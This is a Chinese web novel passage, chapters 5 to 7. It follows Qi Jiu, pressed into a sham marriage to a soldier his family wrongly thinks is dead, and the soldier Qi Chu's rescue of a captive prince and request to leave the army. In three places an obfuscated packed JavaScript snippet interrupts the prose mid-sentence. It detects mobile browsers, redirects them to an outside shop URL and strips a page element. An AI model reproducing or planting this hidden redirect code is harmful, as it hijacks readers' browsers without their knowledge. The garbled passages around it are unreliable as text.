此次平凉商会折损颇多，伤情稍稍稳定，统领后方的洪将军，便专派一队人马，护送商队回城治伤。军令如山，祈楚不能同去，他还要随洪将军的队伍前去追击卡十的精兵。好在他偷偷找到军医，打听到父亲已无性命之虞，只需回城好好休养。 他还未亲眼见到父亲回平凉，洪将军的队伍便整装待发了。 追了近十日，大军总算远远望见了卡十的军营，背靠山体，戒备森严。营中设有临时岗哨，弓弩手时刻待命，铁篱、绊马索三面环绕，内里篝火彻夜不绝。 洪将军也命大军退入山谷中扎营。 入夜，祈楚和平南山、王保、赵闲、何大托五人，围着篝火啃馒头喝野菜汤。 平南山咬了一口馒头，惊讶道：“嚯，这是新面做的馒头啊，可真香嘿！楚兄，你家如此家业，怎跑这军营里，当个吃糠咽菜的大头兵来了？” 祈楚无奈笑笑，说：“不怕兄弟们笑话，我打小便喜欢读那些大侠将军的话本，简直是爱不释手……便不愿从商，只愿习武，但求一展抱负。可没料到，参军三年之久，还只是个扔进人堆里，使劲扒拉也扒拉不出来的大头兵。” “大头兵，大头兵，哪里需要哪里钉。”平南山说，“我看呐，你就不是这块当兵的材料！” 几人都爽朗大笑，祈楚也跟着大笑起来。 只是在这笑的背后，祈楚的内心，第一次产生了迷茫之感。 晚饭后，星月渐明，柒奺和瓶儿又坐着骡车，从偏僻的小门进到祈府内。 秦妈妈给柒奺带来衣裙首饰，金钗披帛，显得甚是隆重。柒奺立着不动，刚要说话，便见沈氏从门外走来，手中还是拨着那串紫檀念珠。她瞧也没瞧柒奺，只是在桌旁坐下，示意丫鬟倒了杯茶。 “见到你郎君了吧。”沈氏面无表情地说道。 柒奺翻了个白眼儿：“见到了，上圆下方，中间还竖个牌儿。” 沈氏倒也不恼，拨着念珠不紧不慢地说道： “你既入了我祈家的门，便是我儿的正牌娘子，祖坟里有你的地儿，族谱里也有你的名儿。我就实话与你说了吧，如今我不能宣布楚儿的死讯，便是要保住整个祈家。我早已有盘算，你只需听话，虽无大富大贵，但能保衣食无忧。” 见柒奺立着不动，也不说话，沈氏顿了顿，又继续说道： “楚儿的实情，能瞒多久便要瞒多久。让你进门只是第一步，我推说楚儿身体不佳，你一时半会儿怀不上，也不会引人怀疑。等过个一年半载，实在推脱不过去，我便称楚儿已病愈回军，你可假装怀孕，如此又可拖延十月。” “十月之后，又将如何呢？” “十月之后，我会抱回一男孩给你抚养，便说是你生的。再过个几年，宣告楚儿战死沙场，到时祈家已有继人，便可保住祈家整个家业……当然，只要你尽心抚养他长大，也就有人给你侍奉终老了。” 柒奺愣了一愣。 沈氏说：“凭你的出身，想入我祈家做正牌娘子，怕是下辈子也没有这柱高香。如今不正是两相全好？我能保住祈家家业，你和你的爷爷能余生衣食无忧——对了，我今儿才差人去看过柒老太公，他如今不缺药食，我又着人送了些布匹银两，如今看起来，已经康健多了呢。” 沈氏喝了口茶，瞥向一旁的柒奺。 想到唯一疼爱自己的爷爷，柒奺的心便软了下来。 退婚是万不可能的。若此事捅将出去，祈家产业保不保得住她不关心，她只知道，作为曾经嫁过已死之人、举行过冥婚的她，往后的日子将更加举步维艰。 哪怕她最终沦落风尘，尚得苟且偷生，可爷爷又该怎么办？ 沈氏，算是把她死死拿捏住了。 柒奺有些难受。她不是难以接受现状，只是恨自己作为女子，身已如雨打浮萍，更不能为爷爷遮风挡雨。 “娘子……你还好么？” 瓶儿见柒奺呆立良久不发一言，担忧地捏了捏她的衣袖。 柒奺这才缓缓呼出一口气，微微欠身说道：“……儿媳明白了。” 沈氏也松了口气，站起身来走出门去：“好了，该说的话我也已经说完了，就请小娘子换好衣服，去拜见公爹吧。” 柒奺略一欠身，目送沈氏离开。而沈氏走到门口，又停下脚步，回头说道： “我儿虽福薄早夭，可你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527183|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟是他的娘子。若你虔心为他守灵，他泉下有知，能与你梦中相会也说不一定。” 沈氏说完，冷笑一声，快步离去。 听了沈氏的话，瓶儿脸色苍白，扯了扯柒奺的袖子。话还未说出口，秦妈妈便吩咐道：“还愣着做什么，快给娘子换上衣裳，梳洗打扮。” 祈家宅院内，秦妈妈在前面带路，柒奺乖顺地跟在身后，埋着头一言不发。 “娘子，娘子？……你还好吗？”瓶儿在身后小声询问。 柒奺没有回答，刚才沈氏所说的话，的确让她脑壳空白了一阵子。 可如今她也冷静下来了——爷爷常说，凡事不可过早下定论，就像种药，虽然时令雨水几十年来不会有太大变化，可天有不测风云，谁也保不准来年会是什么光景。 她还年轻，未来的日子也还长着，谁能说她这一生就该青灯孤枕，不会迎来转机呢？ 想到这，她的脚步渐渐松快下来，瓶儿见状，也暗暗松了口气。 秦妈妈领着柒奺，一路来到祈铄的书房外。进去前，她再次提醒柒奺：“请小娘子记住，不该问的不要问，不该说的不必说。” 祈铄的身体虽虚弱，但仍然坚持沐浴更衣，穿戴整齐地坐在书房等着见新妇。 听秦妈妈通报，祈铄连忙正襟危坐，不一会儿，便看见一个面容娇俏却略显瘦弱的女子，跟在秦妈妈身后走了进来。 祈铄头一回做公爹，见着儿媳妇，心中自是有些欣喜，却碍于礼法，不能细细端详。 柒奺出身药农之家，也早就听说过这做草药生意的“平凉第一儒商”，今日得见，果真与其他商贾不同。眼前的祈铄，看起来有些弱不禁风，毫无商贾之人的狡黠气，倒有些书生气，衣着也很简朴。 柒奺欠了欠身，说道：“儿媳拜见公爹。” 秦妈妈端来茶水，让柒奺跪下奉了敬茶。 喝完茶，过了礼，祈铄便赶紧让柒奺起身：“这亲事，是你婆母一手操办的，我还是今日才得知……若祈家有所照顾不周，还请小娘子莫要怪罪。对了，我这还不知……小娘子如何称呼？” “儿媳本名柒奺，可婆母在问名时，觉得这名字不吉利，又为儿媳改名柒（大弗fú）鸳，说‘（大弗fú）’为‘大’，有吉祥之意，‘鸳’为‘鸳鸯’，鸳鸯浴水，盼我与郎君情投意合。” “是这样啊……”祈铄捋了捋胡须，“那你可曾读过书，能识多少字？” “儿媳出身鄙陋，不曾读书。” 祈铄惋惜地点点头。 柒奺又说：“可是，字，我还是识得些的。” “哦？是谁教你的？” 柒奺回答：“我家近旁有个小药铺，经营药铺的是夫妇俩，他们育有一子一女，女儿与我年纪相仿，常常在一处玩耍。她的哥哥从小念书，闲暇时，也时不时教我们学字打发时间。” 祈铄来了兴趣，当即便要研墨铺纸，定要柒奺写两个字来看看。 柒奺也不客气，走过去捋起袖子大笔一挥，白纸上出现龙飞凤舞自成一派的两个大字： “独活”。 “这……”祈铄盯了半晌，才辨认出来，“这是一味药啊。” “正是。”柒奺搁下毛笔，看向祈铄，“儿媳父母早亡，与爷爷相依为命，常听爷爷念叨‘独活辛苦’。方才，公爹要我写字，便不觉写出这两个字来了。” 祈铄意味深长地点点头，又将那纸拾起来，勉强说道：“字是认得一些，可就是这书法……” 柒奺却说：“书法不是儿媳之志。” “你区区女流之辈，竟然有志？”祈铄呵呵笑起来，将那纸放回书案，漫不经心地说道，“那你有何志向，可否说给公爹我听听啊。” 柒奺后退两步，微一欠身道：“小女不才，愿做这平凉第一商。” 5. 竖女无畏 “你说什么？要做这平凉第一商？” 祈铄着实被柒奺的话惊得愣住了，良久后，他却突然抚掌大笑，笑得大咳一通。 “主君，当心身子啊！……” 秦妈妈想上前，祈铄却摆了摆手让她退下，自己端茶将气顺了下去。 他指着柒奺说道：“真是竖子无知，竖女无畏啊！……你可知道这‘平凉第一商’究竟意味着什么？竟、竟口出此等狂言！” 柒奺却说：“小女实不知，还请公爹指教。” “什么都不知，还敢说自己想当平凉第一商？” 祈铄回到书案后坐下，喟叹地说：“那你可知，这平凉城，是文唐第一商城，这平凉第一商，说是文唐第一商也未尝不可！我祈家世代积累，药园上万亩，光这平凉城内，都有不下三十间药铺……虽近年有所缩减，但整个文唐与我祈家有合作的药商，仍是不下百家。百年基业，根深蒂固，在平凉尚且勉强居于第五，还是因着这‘第一儒商’的谬名，受人抬举罢了！而那姜陶代李四家，我也只能望尘莫及，更不说姜家更有皇商之资，背后还有……就凭你，你如何能胜过姜家，成为这平凉第一商？” 柒奺却不卑不亢：“儿媳倒是听说——事在人为。” “那也不能妄想去摘天上的星星！”祈铄说完，长长呼出一口气，捂着胸口说道，“真是初生牛犊不怕虎啊……罢了，我伤病未愈，有点乏了，你就先回去吧。” 柒奺也没有多言，转身大步走出房门。 “娘子何故口出狂言？”秦妈妈方才捏了把汗，刚一出门便责骂柒奺，“主君旧疾又添新伤，今儿早晨才醒过来，若是被你一通胡吣惹得旧疾复发，大娘子省不得给你家法伺候！” 瓶儿回嘴道：“秦妈妈，你怎敢对小娘子如此说话？” 秦妈妈抬手便给了瓶儿一嘴巴：“什么小娘子？不过是个不懂事的山野丫头，还真敢在祈家充主子了？我告诉你们，若是再不知如何处事，等主君身体好全了，便把你这粗野丫头休了打发出去，将这贱婢也卖进窑子里！” 秦妈妈说着，又想给瓶儿一嘴巴，柒奺挺身挡在瓶儿面前。 “秦妈妈，适可而止吧！今日是我不对，你有事冲我来，何苦为难一个下人？” “哼，你？” “要不然，我立马回去给公爹赔罪可好？”柒奺抱起双臂，用食指点了点额头，“就说……就说我惊闻噩耗，人还恍惚着，不觉就说错了话……可如若公爹问起什么噩耗，我又该如何答对呢，秦妈妈？” “你……” 秦妈妈顿时吃了瘪，将一肚子恶气生生咽了下去：“罢了，我不与你一般计较！把这身衣服换了，赶紧回别院去吧。我可最后提醒你，没有召唤，不可随意出门！” “知道了秦妈妈。” 柒奺粲然而笑，待秦妈妈走远后，才暗暗冲她做了个鬼脸。 回到别院时，已是深夜，瓶儿的眼睛都哭肿了。小厮亲眼盯着柒奺扶着瓶儿进了院门，才将骡车赶到一旁的巷子里。 “别哭了，瓶儿，将来我定叫这秦妈妈跪下来给你赔罪，她若是不肯，你便也赏她一个大嘴巴子。” “真的吗……” 瓶儿惊诧地抬头看向柒奺，此时她不是想着柒奺是不是痴人说梦话，而是感觉一个主子竟对奴婢说这样的话，柒奺是真真没有拿她作下人。可她又立马觉得惭愧，柒奺如今处境艰难，而她却无法帮上忙，受点委屈打一巴掌，又算得了什么呢？ 瓶儿连忙擦掉眼泪，勉强笑着拿过柒奺手中的灯笼： “娘子，让我来吧，别累着你。” 别院偏僻，又靠近山林，一到夜里便阴风阵阵，四处鬼声不绝。加上院落正中央又立着座坟墓，魂幡飘荡、纸钱乱飞，别提有多渗人了。对比祈家大宅灯火通明，又身处闹市，柒奺她们，倒像是被放逐了一般。 夜夜对孤坟，无处话凄凉。 到了这里，柒奺与瓶儿也没了主仆之分，两人合力烧水洗漱，又在一张床上躺下睡觉。 柒奺翻身就要睡去，瓶儿却睡不着，一想房门外不远处就是坟堆，瓶儿仿佛一闭上眼睛，就能看见一只白惨惨的恶鬼，正在门外吃吃笑着望着他们。 柒奺那边已经传来均匀的呼吸声，瓶儿紧紧捏着被子，只得在惊恐中睁开眼睛。 “……啊！——” 惊叫声突然响彻夜空。 门外，真站着一只白衣飘飘的男鬼。 他长发散乱，白衣随风飘荡，一笑，嘴里便流出漆黑的血液…… 第二天，祈楚一整天都没说两句话。 平南山追问他怎么了，是不是不舒服，祈楚刚一开口，便露出一嘴黑牙。 平南山一愣，硬掰开祈楚的嘴，发现那舌头也全是黑的。 “噗……”平南山实在忍不住，喷了祈楚一脸唾沫，又不好意思地用袖子乱擦一通，笑得上气不接下气，“楚兄，你、你这是怎么了啊……哈哈哈……” 昨日，祈楚听了柒奺要让他“黑白无常见了都直呼见鬼”的豪言壮语，便激起了胜负欲，想要扮鬼吓一吓她。为了吐血吐得逼真，祈楚硬含了一口浓墨汁在嘴里，结果舌头牙齿全染黑了，刷也刷不掉。 正是杀敌一百自损三千。 平南山调侃道：“你处心积虑扮鬼吓那小娘子，莫不是想吓走她，好娶你的宛儿姑娘？” “瞎说什么。”祈楚张着黑嘴说道，“我不过听这小女子口出狂言，想给她点教训罢了。南山兄可别胡说，我只是还未考虑过嫁娶之事罢了。” 祈楚一说话，平南山就忍不住笑，眼睛就是无法从他那张黑嘴上挪开。 平南山用力憋住笑意，说道：“那你怎的天天宛儿宛儿的说个不停。” 祈楚说：“我与宛儿是青梅竹马，小时候过元宵节，在卖话本儿的摊贩上相识，我便常常偷偷去找她借话本儿。虽然……她爱看那些情情爱爱的话本儿，我却爱看家仇国恨、江湖侠义，可谁叫她父亲薛司户与我兴趣相投，家里藏了许多买都买不到的好话本儿呢。” 平南山调侃道：“依我看呐，你不是想娶宛儿姑娘，你是想娶她老爹。” “胡说八道！” 祈楚给了平南山一拳，平南山往后一闪，便躲过了。 祈楚拍拍手，有些喟叹地说道：“我是商人之子，还没想过能娶士家的千金呢。” “这又如何？”平南山说，“我可听说在这平凉城内，商人的地位可不比做官的人低多少，你与这宛儿姑娘若是情投意合，你家上门提亲，她又怎么会不肯呢？” “可……唉！我参军三年，如今家中竟为我娶了个娘子，叫我如何能提亲呢？” “这不是场误会嘛！等我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527184|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们该做的事做成了，将婚事解除，不就可以去薛家提亲了吗？” 祈楚的脚步顿住了—— 是啊，这场婚事他完全不知情，也并未出席，怎能作数呢？可宛儿，如今还会在等着他吗？假如她已经知道自己娶亲的消息，会不会心灰意冷，对他彻底失望了呢？ 祈楚越想越待不住，拔腿就要跑。 “不行……我得去找宛儿说说清楚！” 平南山忙拉住他：“哎呀楚兄，你现在可不能去，不是说好要去郊外，和王保赵闲他们碰面的吗？王保传信来说，你要查的事情都有结果了，咱们还是赶紧去吧。还有……你先漱漱口再去，别把人姑娘笑晕了。” 平南山说着，又忍不住要笑。 “真是……知道啦！” 祈楚死死抿住嘴，大步流星朝前走去。 果不其然，王保、赵闲、何大托几人，刚见祈楚说一个字，便各个惊愕地向后退去。等平南山解释了原因，又笑得躺在地上打起滚来。 祈楚也没办法，只能站在原地等他们笑完。 好不容易收住了，赵闲从地上爬起来，咳嗽两声说道： “说正事……我和王保去了你写给我的那些药铺，包括一些中间药商，旁敲侧击地打听了一下。听他们说，从两年前起，前去与他们做生意的就换了一个人，那人称自己叫祈桓，祈家的生意往来，已经全权交由他打理了。楚兄，这祈桓是？” “是我二叔。” 祈楚感叹道：“没想到，二叔竟趁我父亲病重，将售卖渠道一一收拢到了他手中。他做这件事，应该已经布局很久了，难怪家中渐不景气，近些年来的营收，更是一年不如一年。” 何大托则从地上的大包裹里拿出一沓账本，塞进祈楚手里：“你让我去查你铺子里的账目，我们这些大老粗哪看得懂啊！干脆我每个铺子都偷了一些出来，你自个儿慢慢看吧！” “都是近期的账本吗？” “近期的不敢拿，怕他们发现，都是些大半年前的账本儿。要这些你看不出个啥，我再去给你拿些新的来。” 祈楚摆摆手说：“不用，近半年的，也能看出些端倪了。” 最后，王保从包裹里抽出一支箭，交到祈楚手中：“楚兄，你猜的没错，这支箭，果然是离此三百里地外一个小作坊打造的。这剑柄顶端有个刻印，颜色与箭身相同，的确很难察觉。” 平南山有些惊讶：“真不是铁厥的箭？” 祈楚沉吟地望着箭身：“也就是说，想杀害我父亲的，果真另有其人。那人定是不想暴露自己的身份，一开始便打算趁战场混乱之际，假装流矢刺杀我父亲……” 那日，祈楚见父亲中了箭，想也不想便将那箭柄削去。可回望战场上满地乱箭，手上的这支，却和铁厥的箭有细微的不同之处。他当时并未作细想，只是将这箭柄和箭头留下，小心收起来，没想到这一查，果然事有蹊跷。 平南山问祈楚：“难道是你二叔做的？” 祈楚却说：“我认为不是。” 平南山不解：“为什么呢？你二叔不是嫉妒你父亲继承了家业，处心积虑想要侵吞你家的产业吗？” “正是因为如此。”祈楚说，“若二叔一开始便有了杀我父亲的心，又何必这样处心积虑，一点点蚕食我家的产业？想害我父亲性命的，一定还另有其人。” 6. 楚郎负我 卡十率精兵绕背偷袭，祈楚总感觉事有蹊跷。 大军追上卡十的精兵部队，想要速战速决，而卡十却总是避而不战，连连撤退。留在后方的队伍自是素质不佳，数量上虽有优势，却又拖慢了行军的速度，令洪将军头疼不已。 眼看着，卡十就要接近北构山唯一的河谷地带，那里是罗罗国的地盘，也是唯一能过北构山的关卡。洪将军自是不愿放卡十顺利回铁厥，便快马修书一封至罗罗，命他们协同歼灭卡十。 可罗罗却迟迟没有回复。 夜里扎营，祈楚叫来平南山、王保等人，将他的想法说了出来—— 卡十手中，必定有让罗罗放行的筹码。 可这筹码究竟是什么，祈楚不得而知，他只能猜测： “罗罗与我文唐自先帝在时便交往甚密，罗罗身处河谷，畜牧业发达，制造业和农业却需得依靠文唐。况且，作为夹在文唐与铁厥中间的小国，他自是清楚该依靠谁才能生存，因此，不会在这种关键时刻倒戈铁厥。” 赵闲点点头说：“说得没错啊，铁厥此次南下扫荡，这罗罗国还是秦将军帮忙收复的呢。此时帮助卡十，他们又能得什么好处呢？” “洪将军定也是百思不得其解。”祈楚说，“我听说，此前罗罗皇室被铁厥斩杀殆尽，只留有一个小王子多罗。能让罗罗此时倒戈，恐怕只有一个可能——那就是卡十抓走了多罗做人质。” “什么？”平南山一弹而起，“那赶紧告诉洪将军去啊！” 祈楚硬拉他坐下：“告诉洪将军，你可有证据？谎报军情，你可想过会是什么后果？” 王保试探地问道：“楚兄，你难道想？” 祈楚狡黠一笑：“你们听过一句话没，叫作——富贵险中求。” 洪将军连连发出几封信，却仍是收不到回音，气得跳脚咒骂。 可他不知道的是，此时罗罗国内更是乱作一团。唯一的皇室血脉捏在卡十手里，如今放还是不放，对罗罗来说都是灭顶之灾。此前，他们已经派了几支队伍想暗中救出小王子，均未得手，若以实相告求洪将军帮助，又怕信件被卡十截获，害了小王子性命。 没想到这解铃的关键，最终落在了祈楚几人的头上。 几日后，洪将军终于放弃与罗罗联手的想法，日夜兼程发起总攻。卡十依旧不愿正面迎战，只用弓弩箭阵以及骑兵扫荡，迫使文唐的战士们以血肉之躯强行攻营。 战争总是惨烈的，祈楚几人也拼死搏杀。 可他们的目的不是杀敌，而是找准机会换上铁厥士兵的衣甲，混进军营找到被困的小王子。他们脱下的战甲衣物，沾染了血迹，留在了横尸遍野的战场中。 这便是后来送到沈氏手中的战甲与玉珏。 祈楚为了早点见到薛宛，一天漱口八百次。 总算三日后，嘴里的黑墨吐干净了，祈楚便迫不及待地潜入薛司户家。 月黑风高，后厨狗洞。三年沙场历练，祈楚的体格也健壮了不少，差点没钻得进去。还是平南山在外面使劲推屁股，他才勉强挤进这狗洞里。 平南山在狗洞外拍拍手掌灰： “我说楚兄啊，这墙也不高，你翻过去便是，干啥硬要钻这狗洞呢？” 祈楚在狗洞内一拍脑门儿：“啧……不早说！” 薛宛的父亲薛司户，只是平凉城的小小司户，宅院不比祈家气派，倒也曲径通幽古朴雅致。此时刚过二更，宅院最内处的闺房内，仍点着一盏油灯，薛宛峨眉颦蹙，漫不经心地翻阅手中的话本。 “两情相悦，期得白首一生。孤灯一盏，零落又等天明……” 她喃喃着。 薛宛戚戚地望向窗外，却再也等不来心爱的人儿，不觉哀怨骤起，捏着手帕咳嗽起来。不过几日，薛宛的身体状况急转直下，病来如山倒，显得愈发清瘦了。 丫鬟墨香看不下去，抚着薛宛的背说道： “那祈家楚郎已经娶亲了，姑娘这又是何苦呢？这几日姑娘都未进几口饭食，若是再休息不好，姑娘的身体该怎么办……” 墨香说着，忍不住抹起泪来。 “楚郎负了我，我便要死了，做一缕魂魄缠着他，叫他永世忘不了我才好！……” 薛宛说到伤心处，也忍不住泪水奔涌，抚嘴痛哭起来。 祈楚娶亲的消息，是薛宛的父母亲口带给她的。他们原本便不愿女儿与祈家来往，自始至终都希望女儿，嫁给一个士家子弟。由是既不白费了女儿这副天生的好相貌，也不枉费了他们教以诗书、尽心培养，将来女婿若是能考取功名，得了一官半职，还能互相提携。 人们都说“女子高嫁”，谁不愿自己的女儿有个好前途呢？ 可恨自己女儿小小年纪，便说出“非祈家楚郎不嫁”的羞言。 祈楚突然娶亲，倒是让薛司户夫妇俩大大松了口气。谁知薛宛听了，竟昏死过去。醒来后，仍流泪不止，茶饭不思。薛司户夫妇俩是劝也劝了，骂也骂了，怎料女儿痴情至此，竟日渐消瘦灯枯，还说出要为情寻死的话来。 薛宛与墨香抱头痛哭，此时祈楚已摸至薛宛闺房窗下，照之前约定的暗号敲了三次窗。 “叩，叩叩。” 薛宛呼地抬起头，泪眼婆娑地问墨香： “这是……墨香，你可有听见什么响动？” 墨香抹抹眼泪，侧耳听去，刚要说“没听见什么”，便又听得窗棂响起来。 “楚郎！……” 薛宛破涕为笑，提起裙摆便要冲至窗边，墨香心急，忙拽住她： “姑娘，你可千万别去！那祈楚已经娶妻，又来作甚？既不来提亲，又半夜私会，这是把姑娘你当什么人了！姑娘可千万别理那负心汉！” “墨香，你休得胡言！楚郎今日来，定是有苦衷要告诉我呢！” 薛宛硬生生挣脱墨香，忙不迭将那窗推开。矮竹萧萧中，果然是自己心心念念的楚郎，一袭素衣，面如冠玉，目若朗星。真真是少年才俊，儒雅不羁，意气风发，每每都令薛宛心潮涌动。 “宛儿……” 祈楚刚唤了个名字，薛宛的眼泪又奔涌出来，却哭道：“楚郎既已娶妻，又来寻我作甚！今日便当诀别，以后还请祈公子不要再来了！……” 说着，便伸手要将窗子合上。 “等等……”祈楚扶住两窗，对薛宛说，“宛儿，我今日前来，便是要将此事解释给你听，那娶妻之事其实……” “我不听我不要听！…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527185|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 薛宛捂住双耳，回身坐在桌旁，将那话本往地上一掷，又梨花带雨地哭起来。 祈楚无可奈何，只得翻身跃进房内，丫鬟墨香吓得语无伦次，直言要喊人将祈楚这乱闯姑娘闺房的采花贼抓起来送官。薛宛呵斥住墨香，又转头痛哭起来。 祈楚立在窗边，见薛宛哭得伤心，也不知如何安慰；墨香见姑娘反反复复，又要见，又不要见，又要听，又不要听，也是眉头拧成把锁。 就如此沉默了一会儿，薛宛才渐渐收了哭声，正坐起来，抹抹眼泪。 祈楚见她终于是不哭了，才迫不及待地说道： “宛儿，其实家中为我娶亲一事，我全然不知情。如今我有要务在身，这话，我只与你一个人讲，还请你一定要为我守口如瓶……” 祈楚说起自己和平南山等人，营救罗罗小王子的事。 那时，他们刚找到小王子，便被卡十的士兵逮了个正着。无奈，几人只能护送小王子退至山中，一路拼死搏杀，生生杀出了条血路。 逃至林中时，几人不仅身负重伤，还从高坡上滚了下去，浑身都摔得散了架。 眼见着卡十的士兵又从坡上狂奔下来，他们已无还手之力，只等赴死，却忽然从密林中嗖嗖射出十几支冷箭，将追来的卡十部下一一射杀。 见到林中走出的一小队人马，小王子多罗激动地喊道： “是罗罗的人来救我了！……” 在这支罗罗小队的帮助下，祈楚几人总算保住了性命。他们磕磕绊绊走了好几日，才从密林中披荆斩棘，绕至罗罗境内。罗罗国相见小王子安然无恙地回来，大喜过望，立即下令把守国门，并派出所有精兵支援洪将军。 这场追击战，以卡十部队被全歼告终。 可惜的是，忽勒得知消息，力请秦起大将军放回卡十，否则双方协约作废。最终，洪将军只得派人，将卡十锁进铁笼，押送回铁厥境内。 祈楚平南山几人，则留在罗罗养伤。 罗罗国深感大恩，悉心照料，小王子多罗也与祈楚几人交往甚密，仿若手足兄弟一般。 不久后，秦起班师回国，途经罗罗国境内驻扎。罗罗国国相亲自设宴款待，宴会上，说起祈楚几人冒死营救小王子，解除了卡十之困，秦起方知竟有此等奇事。 宴会刚结束，秦起便命人找来祈楚、平南山、王保、赵闲和何大托五人，到大营中问话。 平南山几人激动万分，祈楚所说的“富贵险中求”，如今算是应验了。 去见秦起大将军的路上，平南山兴奋地问祈楚想要什么封赏，祈楚却摇摇说： “还未曾想好。况且，我们私自行动触犯军令，此次面见秦起大将军，是否封赏还未可知。” 果然，秦起大将军见了他们五人，面上毫无欣喜之色。 他正襟危坐，目光如炬，身上的银甲伤痕累累，大手中捏着一卷兵书。秦起大将军威名赫赫，不怒自威，更有迫人的气势，令祈楚几人不觉低头，方才的激动喜悦瞬间荡然无存，心中惴惴不安如坐针毡。 几人吞唾沫熬了许久，秦起才从兵书上抬起双眼，瞥向帐内站着的五人： “交战之际竟敢擅自离军，说，究竟是谁的主意！” 7. 非你不嫁 雷鸣般的嗓音，震得几个大头兵纷纷扑在地上。 平南山转过头，一脸死灰地看向祈楚——说好的“富贵险中求”呢？ 祈楚咬咬牙，忽而挺起身来，大声说道： “……报将军，是我的主意！将军若要责罚，便责罚我一人吧！” 秦起看向祈楚，冷哼一声，说道： “你是在教我做事？” “祈楚不敢！”祈楚复而单膝跪下，双手抱拳，“真是小人的主意，与平南山赵闲他们四人无关！小人知错了，小人猜测卡十捉了罗罗国小王子作人质，应当禀告洪将军，不应擅自行动……都是小人的错，请将军责罚！” 秦起盯了祈楚半晌，又重新将目光放回兵书上： “军情不得有误，若洪将军问起有何依据，你又将如何对答？” 祈楚说：“小人……小人确实没有依据，只是妄自揣测而已，因此也不敢报知洪将军，怕干扰将军的判断。将军恕罪，多番思量下，小人只能选择挺而走险……而平南山他们几人，只是听了小人的教唆，求将军放过他们，给他们将功赎罪的机会吧……” “楚兄你胡说什么呢！” 平南山想说话，被祈楚生生按了下去。 秦起听了，并不作答，只是突然又问道： “你叫祈楚？那组织平凉商会、运送物资来军中的祈铄，是你什么人。” “是……小人的父亲。” “哦？”秦起瞥向他，“我听说，你父亲身有顽疾，膝下仅你一个独子，原本望你继承家业。” “是……”祈楚顿觉有些心酸，“小人不孝，从小就不愿听父亲教导，学习经商之道，替父亲分忧。小人……心中羡慕像将军这样能为国家立根本、能为百姓图安乐的英雄，便私自离家参军，以期能一酬壮志。如今壮志未酬，却犯下大错，更觉愧对父亲的养育教导之恩……” 秦起听罢，突然放下兵书，仰头大笑： “哈哈哈……你如此有勇有谋，敢于以身犯险，在关键时刻救我军与罗罗于危难，又忠肝义胆，勇于承担，实为栋梁！如今，我便给你一个机会一酬壮志，想要什么封赏，你尽管提吧——对了，你们四人也是，都起来吧！” “将、将军？” 听秦起这么说，帐内跪着的五人，总算是松了口气，站起身抹了抹汗。 没想到威风凛凛、正颜厉色的秦起大将军，竟给他们来了一出虚张声势，差点将他们五人的魂儿都抽走了。 平南山欣喜不已，连忙怂恿祈楚：“楚兄，要什么赏赐，你快说啊。” 祈楚方要开口，秦起身后的屏风内，突然传来一个贵气无比的声音： “等一等。” 秦起站起身，朝屏风后供一拱手，道：“平凉王有何示下？” “什么……平、平凉王？” 祈楚几人更震惊了。 平凉王宿怀瑾，是文唐辉帝宿怀辰之弟。先皇仅得二子，太子宿怀辰即位，开启长乐元年，后世称“辉帝”；郡王宿怀瑾封军事重地凉州，执掌北固军。北固军是秦起大将军一手建立起来的，为文唐雄武之师，震慑九州四海，先皇如此安排，颇有令二子两相权衡之意。 祈楚万万没想到，这件事，竟然惊动了平凉王。 虽是隔着屏风，几人还是立马伏跪下身，参拜平凉王。 屏风内，平凉王却不叫他们平身，只是对秦起说道： “秦大将军，这几人虽解了卡十之困，然无视军令，擅自行动，若是赏赐，怕是无以整顿军纪，还望大将军三思。” 秦起却笑道：“诶，所谓‘一言既出，驷马难追’，我既已答应他们赏赐，又怎可失言无信？ 要不，就听他们说说，想要什么封赏，再请平凉王定夺吧，可好？” 平凉王没有立即应答，抬起手，端起白玉的茶盏啜了一小口。 “也罢。那你们就先说来听听——对了，那个叫祈楚的，就你先说吧。” 平南山几人心中暗想：平凉王都如此说了，哪敢还要什么赏赐？能保住这条贱命，便是烧了高香了！听祈楚被平凉王点了大名，各个都畏缩晃脑，拿眼神拼命示意祈楚。 祈楚心里却早已有定夺。 他目不斜视，向前迈出一大步，拱手大声说道： “祈楚斗胆，请将军许我卸甲回家，侍奉父母终老！” 薛宛的闺房内，祈楚喟叹地说道： “父亲受伤，母亲以为我战死沙场，为保祈家产业不被二叔夺去，才不得不替我娶妻……此事，我也是回到平凉城后才知道的，并不出自我本意。” “真的吗？”薛宛睁大双眼，忙激动地说道，“那、楚郎立马回家告知实情，解除了婚约，不就可以来我家提亲了吗？” 